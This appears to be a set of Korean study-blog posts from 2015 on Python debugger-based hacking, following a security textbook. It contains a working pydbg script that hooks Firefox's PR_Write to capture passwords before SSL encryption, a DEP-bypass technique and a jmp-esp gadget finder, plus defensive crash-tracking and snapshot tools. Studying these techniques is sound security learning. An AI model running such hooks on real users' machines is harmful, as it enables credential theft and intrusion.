후킹은 프로세스를 모니터링하기 위해 실행 흐름을 변경하거나 프로세스가 접근하는 데이터를 변경하기 위해 사용되는 기술이다. 루트킷, 키로거, 디버거 모두 후킹이라고 할 수 있다.

후킹에는 소프트후킹과 하드후킹 두 가지 방법이있다.

1.소프트후킹 : 대상프로세스에 붙인 다음에 실행흐름을 가로채기 위해 INT3 브레이크포인트 핸들러를 구현하는 것(호출빈도 낮은 함수 후킹)

2.하드후킹    : 어셈블리 언어로 작성된 후킹 코드가 실행되게 점프 코드를 삽입하는 것(호출빈도 높은함수 후킹)


파이어폭스 프로세스가 데이터를 암호화해 서버에 전송하기 전에 데이터를 스니핑해보자.

파이어폭스는 SSL 암호화 형태를 사용한다. nss3.dll의 익스포트 함수인 PR_Write 함수에 후킹을 설정해 암호화되기 전의 아스키 데이터를 스니핑한다.(책에 나온 nspr4.dll로 하면 실행되지않는다.)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#firefox_hook.py
#-*- coding: utf-8 -*-
from pydbg import *
from pydbg.defines import *
 
import utils
import sys
 
dbg                = pydbg()
found_firefox     = False
 
 
#serch for
pattern        = "password"
 
#entry callback function
#args[1]파라미터가 중요
def ssl_sniff(dbg,args):
 
    #두 번째 파라미터가 가리키는 주소의 메모리를 읽음
    #아스키문자열이 저장되어있기 때문에 NULL 바이트를 만날때까지 데이터 읽음
    buffer = ""
    offset = 0
 
    while 1:
        byte = dbg.read_process_memory(args[1+ offset,1)
 
        if byte != "\x00":
            buffer += byte
            offset +=1
            continue
        else:
            break
 
    if pattern in buffer:
        print "Pre-Encrypted : %s" % buffer
 
    return DBG_CONTINUE
 
#firefox.exe 프로세스를 찾는다
for (pid,name) in dbg.enumerate_processes():
    if name.lower() == "firefox.exe":
 
        found_firefox = True
        hooks          = utils.hook_container()
 
        dbg.attach(pid)
        print "[*] Attaching to firefox.exe with PID : %d" % pid
 
        #후킹을 수행할 함수의 주소를 구함
        hook_address = dbg.func_resolve_debuggee("nss3.dll","PR_Write")
 
        if hook_address:
            #후킹 함수를 후킹컨테이너에 추가
            #exit 콜백은 필요없기 때문에 None으로 입력
            hooks.add(dbg,hook_address,2,ssl_sniff,None)
            print "[*] nspr4.PR_Write hooked at : 0x%08x" % hook_address
            break
        else:
            print "[*]Error : Couldn't resolve hook address"
            sys.exit(-1)
 
if found_firefox:
    print "[*] Hooks set, continuing process."
    dbg.run()
else:
    print "[*] Error: Couldn't find the firefox.exe process."
    sys.exit(-1)
cs

파이어폭스를 실행하고 firefox_hook.py를 실행시킨다.

그리고 http://openrce.org에서 아이디와 패스워드를 입력하고 login버튼을 누르면 아래와 같은 결과가 나온다.


username=lake&password=lake

뒤에 Z가나오는건 무슨이유인지 모르겠다

[3주] 05장 - 윈도우 DEP우회

Posted by dw0rdptr
2015. 1. 26. 09:18 Study/파이썬 해킹 프로그래밍

마이크로소프트 윈도우에는 힘과 스택같은 메모리 영역에 있는 코드가 실행되는것을 방지하기 위해

DEP이라는 보안기능이 있다.

NtSetInformationProcess 함수로 DEP을 우회할 수 있다.

스택에 존재하는 파라미터를 이용해 NtSetInformationProcess(-1,0x22,0x2,0x4) 로 호출하면

현재 프로세스에 대한 DEP설정을 비활성화시킨다. 


이를위해서 세가지 주소가 필요한데

1. AL레지스터의 값을 1로 설정하고 리턴하는 주소

2. DEP를 비활성화시키는 코드가 존재하는 곳의 주소

3. 리턴하면서 셸코드의 시작 부분을 실행시킬 수 있는 주소


이 주소를 찾아주는 findantidep.py 스크립트가 이미 있고 공격 코드 문자열을 제공해

찾은 주소에 대한 오프셋 계산을 따로 할 필요가 없다. 따라서 단순히 공격코드문자열을 복사해 사용하기만 하면된다.



스크립트를 실행한 후 로그



[3주] 05장 - Immunity Debugger 공격코드에서 사용할 명령찾기

Posted by dw0rdptr
2015. 1. 26. 07:31 Study/파이썬 해킹 프로그래밍

Immunity 디버거의 파이썬 라이브러리를 이용하면 로드된 바이너리에서 원하는 명령을 쉽게 찾을 수 있다.



작성한 코드를 Immunity Debugger\PyCommands 폴더에 넣고 디버거 명령줄에 !findinstruction<찾을 명령>

을 입력하면 된다. jmp esp 명령을 찾아보려면

!findinstruction jmp esp

메뉴의 View->Log(단축키 Alt+L)로 확인 할 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 
 
#findinstruction.py
#-*- coding: utf-8 -*-
from immlib import *
 
def main(args):
    imm = Debugger()
    search_code = " ".join(args)
    search_byte = imm.assemble(search_code)
    search_results = imm.search(search_byte)
 
    for hit in search_results:
        #메모리 페이지를 구하고 실행 가능한 것인지 확인
        code_page = imm.getMemoryPageByAddress(hit)
        access = code_page.getAccess(human = True)
 
        if "execute" in access.lower():
            imm.log("[*] Found : %s (0x%08x)" % (search_code, hit), address = hit)
 
    return "[*] Finish searching for instructions, check the Log window."
 
cs



'Study > 파이썬 해킹 프로그래밍' 카테고리의 다른 글

[3주] 05장~06장 후킹  (0) 2015.01.26
[3주] 05장 - 윈도우 DEP우회  (0) 2015.01.26
[3주] 04장 - 종합  (0) 2015.01.26
[3주] 04장 - 프로세스 스냅샷  (0) 2015.01.26
[3주] 04장 - 접근 위반 핸들러  (0) 2015.01.26

[3주] 04장 - 종합

Posted by dw0rdptr
2015. 1. 26. 06:36 Study/파이썬 해킹 프로그래밍

악용될 수 있는 소프트웨어 애플리케이션의 결함을 제거하는데 도움이 되는 유틸리티프로그램을 짜보자


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#danger_track.py
#-*- coding: utf-8 -*-
from pydbg import *
from pydbg.defines import *
 
import utils
 
#접근 위반이 발생한 후에 조사할 명령의 최대 개수
MAX_INSTRUCTIONS = 10
 
 
#다음은 모든 위험한 한수에 포함하는 완벽한 리스트는 아니다.
dangerous_functions = { "strcpy" : "msvcrt.dll""strncpy" : "msvcrt.dll"
                                "sprintf" : "msvcrt.dll""vsprintf" : "msvcrt.dll"}
dangerous_functions_resolved = {}
crash_encountered = False
instruction_count = 0
 
def danger_handler(dbg):
    #스택의 내용을 출력한다.
    #일반적으로 몇 개의 파라미터만을 사용하기 때문에 ESP~ESP+20 내용만 출력해도됨
    esp_offset = 0
    print "[*] Hit %s" % dangerous_functions_resolved[dbg.context.Eip]
    print "============================================================"
 
    while esp_offset <=20:
        parameter = dbg.smart_dereference(dbg.context.Esp + esp_offset)
        print "[ESP + %d] => %s " % (esp_offset, parameter)
        esp_offset += 4
 
    print "============================================================"
 
    dbg.suspend_all_threads()
    dbg.process_snapshot()
    dbg.resume_all_threads()
 
    return DBG_CONTINUE
 
def access_violation_handler(dbg):
    global crash_encountered
 
    #접근 위반을 처리하고 프로세스를 마지막 위험한 함수가 호출된 시점으로 되돌림
    if dbg.dbg.u.Exception.dwFirstChance:
        return DBG_EXCEPTION_NOT_HANDLED
 
 
    crash_bin = utils.crash_binning.crash_binning()
    crash_bin.record_crash(dbg)
    print crash_bin.crash_synopsis()
 
    if crash_encountered == False:
        dbg.suspend_all_threads()
        dbg.process_restore()
        crash_encountered = True
 
        for thread_id in dbg.enumerate_threads():
            print "[*] Setting single step for thread: 0x%08x" % thread_id
            h_thread = dbg.open_thread(thread_id)
            dbg.single_step(True, h_thread)
            dbg.close_handle(h_thread)
 
        #단일 스탭 핸들러에게 제어권을 넘기기위해 프로세스를 다시 실행되게만든다
        dbg.resume_all_threads()
 
        return DBG_CONTINUE
    else:
        dbg.terminate_process()
 
    return DBG_EXCEPTION_NOT_HANDLED
 
def single_step_handler(dbg):
    global instruction_count
    global crash_encountered
 
    if crash_encountered:
        if instruction_count == MAX_INSTRUCTIONS:
                dbg.single_step(False)
                return DBG_CONTINUE
        else:
            #명령을 디스어셈블.
            instruction = dbg.disasm(dbg.context.Eip)
            print "#%d\t0x%08x : %s" % (instruction_count, dbg.context.Eip, instruction)
            instruction_count +=1
            dbg.single_step(True)
 
    return DBG_CONTINUE
 
dbg = pydbg()
pid = int(raw_input("Enter the PID you wish to monitor :"))
dbg.attach(pid)
 
#리스트의 모든 위험한 함수를 호출하고 브레이크포인트설정
 
for func in dangerous_functions.keys():
 
    func_address = dbg.func_resolve(dangerous_functions[func],func)
    print "[*] Resolved breakpoint: %s -> 0x%08x" % (func,func_address)
    dbg.bp_set(func_address, handler = danger_handler)
    dangerous_functions_resolved[func_address] = func
 
dbg.set_callback( EXCEPTION_ACCESS_VIOLATION, access_violation_handler)
dbg.set_callback(EXCEPTION_SINGLE_STEP, single_step_handler)
dbg.run()
 
 
cs


buffer_overflow.py에 붙인 결과


restore에서 자꾸 매개변수가 틀리다는 에러가뜨는데 왜그런지는 모르겠다


[3주] 04장 - 프로세스 스냅샷

Posted by dw0rdptr
2015. 1. 26. 06:02 Study/파이썬 해킹 프로그래밍

스냅샷은 대상 프로세스의 어떤 특정 시점을 저장한다.

스냅샷을 만든 이후에는 언제든지 프로세스의 상태를 스냅샷 생성 시점으로 되돌릴 수 있다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#snapshot.py
#-*- coding: utf-8 -*-
from pydbg import *
from pydbg.defines import *
 
import threading
import time
import sys
 
class snapshotter(object):
 
    def __init__(self,exe_path):
 
        self.exe_path = exe_path
        self.pid      = None
        self.dbg      = None
        self.running  = True
 
        #디버거 스레드시작, 대상 프로세스의 PID가 설정될 떄까지 루프돔
        pydbg_thread = threading.Thread(target = self.start_debugger)
        pydbg_thread.setDaemon(0)
        pydbg_thread.start()
 
        while self.pid == None:
            time.sleep(1)
 
        #현재 PID가 설정된 상태이고 대상 프로세스가 실행중.
        #스냅샷을 위한 두 번째 스레드 실행
        monitor_thread = threading.Thread(target=self.monitor_debugger)
        monitor_thread.setDaemon(0)
        monitor_thread.start()
 
 
    #스냅샷을 만들것인지 복원할것인지 종료할것인지 명령입력
    def monitor_debugger(self):
        while self.running == True:
            input = raw_input("Enter: 'snap', 'restore' or 'quit' :")
            input = input.lower().strip()
 
            if input == "quit":
                print "[*] Exiting the snapshotter."
                self.running = False
                self.dbg.terminate_process()
 
            elif input == "snap":
                print "[*] Suspending all threads."
                self.dbg.suspend_all_threads()
 
                print "[*] Obtaining snapshot"
                self.dbg.process_snapshot()
 
                print "[*] Resuming operation."
                self.dbg.resume_all_threads()
 
            elif input == "restore":
                print "[*] Suspending all threads."
                self.dbg.suspend_all_threads()
 
                print "[*] Restoring snapshot."
                self.dbg.process_restore()
 
                print "[*] Resuming operation."
                self.dbg.resume_all_threads()
 
    def start_debugger(self):
        self.dbg = pydbg()
        pid = self.dbg.load(self.exe_path)
        self.pid = self.dbg.pid
 
        self.dbg.run()
 
exe_path = "C:\\Windows\\System32\\calc.exe"
snapshotter(exe_path)
 
 
 
cs

#계산기로 프로세스 스냅샷 기능이 동작하는 것을 확인 가능